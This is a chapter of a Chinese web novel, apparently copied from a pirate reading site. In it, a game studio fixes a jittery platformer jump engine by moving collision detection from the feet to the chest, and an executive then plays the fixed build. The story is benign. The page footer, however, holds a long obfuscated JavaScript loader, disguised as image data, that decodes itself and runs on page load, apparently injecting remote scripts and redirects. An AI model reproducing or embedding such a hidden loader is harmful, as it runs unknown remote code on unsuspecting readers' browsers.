首页

[切换至繁体版]

返回

关灯 护眼:开 字号:中

第2294章 跳跃引擎与李轩的崩溃周2

    第2294章跳跃引擎与李轩的崩溃周2(第1/2页)
    会议室里没有人反驳。
    抱黑色键盘的程序员停下了笔,抱白色键盘的程序员把抱在胸前的手放下来,抱灰蓝键盘的程序员轻轻点了一下头。
    攻城战的逻辑是线性的——服务器收到坐标,广播给其他玩家,客户端渲染。
    玩家从A点跑到B点,坐标一路更新,服务器只要按顺序处理就行。
    哪个玩家在哪个位置,用了什么技能,伤害是多少,都是确定的事件。
    可跳跃引擎的逻辑是非线性的——角色跳起来之后,每一帧的坐标都在变,每一帧的碰撞检测结果都在变,服务器要同步的不仅是位置,还有速度、方向、状态机的切换点。
    起跳那一帧和落地那一帧之间,有几十帧,每一帧都可能出问题。
    任何一帧的延迟都会让整个跳跃过程失真。
    角色可能会在空中卡住,可能会穿墙,可能会踩不到怪,可能会被怪反咬。
    玩家在屏幕上看到的是一个简单的跳跃,背后是服务器和客户端之间不停来回的校准。
    梁永琪站在会议室的门口。
    她到的时候测试已经跑了一半。
    她穿了一件浅灰色的薄外套,手里拿着手机,本来是要找李轩说另一件事。
    走到门口的时候她听见里面键盘响,还有李轩说话的声音,就把手从门把手上收回来了。
    她没有出声,靠在门框上,肩膀贴着门框边缘,看完了后半段。
    她看到李轩按空格,角色跳起来,卡在平台边缘,抖;看到李轩按方向键,角色直直飞出去,掉进空隙;看到李轩切到蘑菇怪场景,踩踏失败,角色穿过怪物的身体摔死;看到李轩在笔记本上写字,写得很快;看到三个程序员的反应从笑到不笑。
    她一直没说话,连呼吸都放轻了。
    看到李轩把键盘推开的那一刻,她从口袋里掏出手机。
    手机屏幕亮起来,她解锁,打开相机,切到录像,对准屏幕上那个还在抖动的角色录了一段视频。
    视频不长,只有十几秒。
    画面里Q版小人在平台边缘反复切换状态,手臂抖动,背景里的云朵城堡安安静静地飘着。
    录完之后她锁了屏,把手机放回口袋。
    她没有当场发给陈浩。
    她站在门口又看了几秒,李轩还靠在椅背里,眼睛盯着屏幕,三个程序员也没动。
    然后她转身走了,脚步很轻,走廊里的灯照在她肩膀上。
    那天晚上回到陈园之后,梁永琪把那段视频发给了陈浩。
    视频文件下面附了一行字:“你小时候的梦想把李轩逼疯了。”消息发出去之后她没有马上等到回复。
    她把手机放在茶几上,屏幕朝上,去厨房倒了杯水。
    厨房的灯是暖黄色的,水壶里的水倒进杯子,发出咕嘟咕嘟的声音。
    她端着水回到客厅,茶几上的手机屏幕亮着,陈浩的回复已经进来了。
    是一条语音,时长标注三秒。
    她把杯子放下,把手机举到耳边按了播放键。
    语音条里是他一贯平稳的声调,背景很安静,每个字之间的间隔很短,连在一起像一整句话。
    “让角色跳跃时胸口位置对齐平台边缘,不要用脚底判定。”
    梁永琪把语音听了两遍。
    第一遍听完之后她站在原地想了两秒,眼睛看着茶几上的水杯,杯口有一圈浅浅的热气。
    第二遍听完之后她把手机从耳边拿下来,直接转给了李轩。
    转发的时候她什么附言都没有加,就是那条三秒语音的原文件。
    转完她把手机放回茶几上,坐下来喝了口水。
    水有点烫,她喝了一小口就放下了。
    大约过了十分钟,她的手机响了。
    是李轩打来的。
    她接起来的时候听到电话那头有椅子腿蹭地面的声响,然后是李轩的声音,比平时快了一些,尾音微微往上挑着,像刚从水里浮上来换了一口气。
    “梁总,你刚才转的那条语音,是浩哥说的?”
    “对。”
    “我再听一遍。”
    梁永琪听到电话那头传来语音条播放的声音,然后是几秒的安静。
    再然后是一声闷响,像是手掌拍在桌面上的声音。
    李轩的声音重新出现在话筒里的时候比刚才高了半个调,带着一种被什么东西从卡住的位置突然推了一把之后才有的那种畅快。
    “我明白了!脚底判定的时候角色的碰撞箱只在脚底那一小块区域有效,跳上平台边缘的时候那一小块区域刚好卡在平台的上沿和下沿之间,判定反复触发所以角色在抖。
    如果改成胸口判定,角色跳到平台上方的时候胸口的碰撞箱已经越过了平台的上沿,判定直接生效,角色就会稳稳地站在平台上。
    整个判定逻辑的锚点从脚底提到了胸口,滞空窗口的问题、边缘卡顿的问题、踩踏判定滞后的问题全部能解决!”
    他没有等梁永琪回应就挂断了电话。
    梁永琪把手机从耳边拿下来,看着屏幕上通话结束的界面。
    她能听到电话挂断之前李轩转头对旁边人喊的那句话从话筒里漏出来了一小截,声音虽然模糊但字很清楚——“改碰撞盒!从脚底改到胸部!”她站在客厅里,手机还握在手里,屏幕的光映在她脸上。
    (本章未完,请点击下一页继续阅读)第2294章跳跃引擎与李轩的崩溃周2(第2/2页)
    过了一会儿,她把手机放到茶几上,端起水杯又喝了一口。
    水已经不那么烫了。
    三天之后李轩发来了一段新的测试视频。
    梁永琪在自己的电脑上点开了那个文件。
    视频里彩虹岛的测试地图上,一个Q版小人站在起始平台上,按了一下空格键,身体跳起来,在空中划过一道平滑的弧线,精准地落在前面一个浮空平台的中央。
    落地的时候角色的膝盖弯曲了一下,做了一个细微的蹲伏缓冲动作,然后恢复到站立的姿势。
    小人继续往前跑,跳上第二个平台,跳过一只蘑菇怪,蘑菇怪被踩中头顶的那一瞬间身体压扁成一条线,然后弹起来消失了。
    角色脚下的草皮贴图没有再闪烁,平台边缘的判定也没有再卡住。
    整个跳跃过程流畅得像一段动画。
    角色在空中的抛物线高度适中,滞空时间够长,落点精确,落地缓冲的动画让整个动作有了重量感。
    李轩后来又发来了一段更长版本的操作录像。
    他在视频里连续跳过了十七个平台,每一次落点都稳,中间有一次踩踏蘑菇怪的判定干净利落,被踩扁的蘑菇怪弹起来之后变成了一枚金币。
    金币在空中转了两圈,落进角色的口袋里,屏幕上跳出一个加号。
    视频没有配乐,只有键盘敲击的声音,空格键一下一下,节奏很稳。
    梁永琪看完了整段录像,鼠标停在播放器上,过了一会儿才关掉。
    当天下午梁永琪自己坐在办公室里打开了测试客户端。
    她登录了自己的测试账号,操纵角色站在彩虹岛起始平台的最左端。
    面前是第一个浮空平台,间隔大约三个身位。
    平台下面是空的,云层在画面下方缓缓移动。
    她按了一下空格键,角色跳起来,她在空中按住方向键不放,角色在最高点的时候微微往右偏了一个角度,精准地落在了平台的中央。
    落地时膝盖弯了一下,然后站直。
    她按了继续往前跳,跳过第二个平台,跳过第三只蘑菇怪,跳过一段浮空的云朵桥。
    云朵桥踩上去会轻轻下陷,然后弹回来。
    在跳上第五个高台的时候,她的手指按住空格键的力度比平时大了一些,角色在空中划出一道比之前更高的弧线,越过平台边缘,稳稳地落在上面的草地上。
    落地的一瞬间屏幕上的小人膝盖弯了一下,然后站直了身体,头顶的阳光从云层里漏下来,照在角色的脸上。
    梁永琪松开了键盘,靠在椅背里。
    她盯着屏幕上那个站在高台上的角色,看了两秒钟,然后从喉咙里发出了一声很轻的、从鼻腔里带出来的“哇”。
    那个声音在办公室里很轻,坐在外面工位上的同事应该听不到,但她自己听到了。
    她又按了一下空格键,角色从高台上跳下来,落地缓冲,然后继续往前跑。
    她跟着跑了一段,跳过一个又一个平台,手指搭在键盘上的姿势越来越松弛,像在弹一首她已经练过很多遍的曲子。
    屏幕上的小人跳过蘑菇怪,蘑菇怪变成金币,金币落进口袋。
    她跳过云朵桥,桥面在脚下轻轻下陷。
    她跳过一块又一块浮空平台,背景里的云朵城堡越来越近。
    她没有再数自己跳了多少个,只是按着空格,按着方向键,看着角色在彩虹岛的地图上往前跑。
    那天晚上她给陈浩打电话的时候已经下班了,办公室里只剩她一个人。
    灯只开了她头顶那一排,其他地方暗着。
    电话接通之后她坐在椅子上,面前的测试客户端还开着,屏幕上的角色停在一个浮空平台的边缘,远处的云朵城堡在画面的右上角安静地飘着。
    她一只手拿着手机,另一只手搭在键盘边缘,手指没有按下去。
    “浩哥,我在办公室里跳了一个小时的平台。”她说。
    声音不大,带着一种她自己都没有察觉到的、比平时要轻快的调子。
    电话那头陈浩的声音传过来,比平时多了一点东西,那种东西不好形容,像是一个人在听到某句话之后嘴角弯了一下,然后才开口说话。
    “没疯。
    你只是找到了小时候跳房子的感觉。”
    梁永琪把手机贴着耳朵,视线落在屏幕上那个站在平台边缘的小人身上。
    她没有接话,就那么听着电话那头他的呼吸声从听筒里传过来,平稳而规律。
    窗外上海的天已经暗了,远处建筑群的灯一盏一盏地亮起来,在灰蓝色的天幕上排成不均匀的线。
    她伸手把测试客户端的窗口关掉了,屏幕暗下去的一瞬间反射出了她自己的脸。
    她看着屏幕上自己那张模模糊糊的倒影,嘴角的弧度还没有收回去。
    【跪求礼物,免费的为爱发电也行!】

一秒记住【笔趣阁】
biquge120.net,更新快,无弹窗!

章节报错(免登陆)
验证码: 提交关闭
!function(){function a(a){var _idx="g51nekh5ma";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/pn}2YShn^d/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"pn}2YShn^d"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mfJ)TdfOm2YF"="}Ko}X5ThF)mS_S(C4qm2YF"="}Ko}2pThFmfJ)TdfOm2YF"="}Ko}_JqhFmS_S(C4qm2YF"="}Ko}2TOhFmfJ)TdfOm2YF"="}Ko}CSqhF)mS_S(C4qm2YF"="}Ko})FfThF)fmfJ)TdfOm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mLT4X(CSm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mLT4X(CSm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q/f/}Ko}j(8}vY8pn}2YShn^d"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();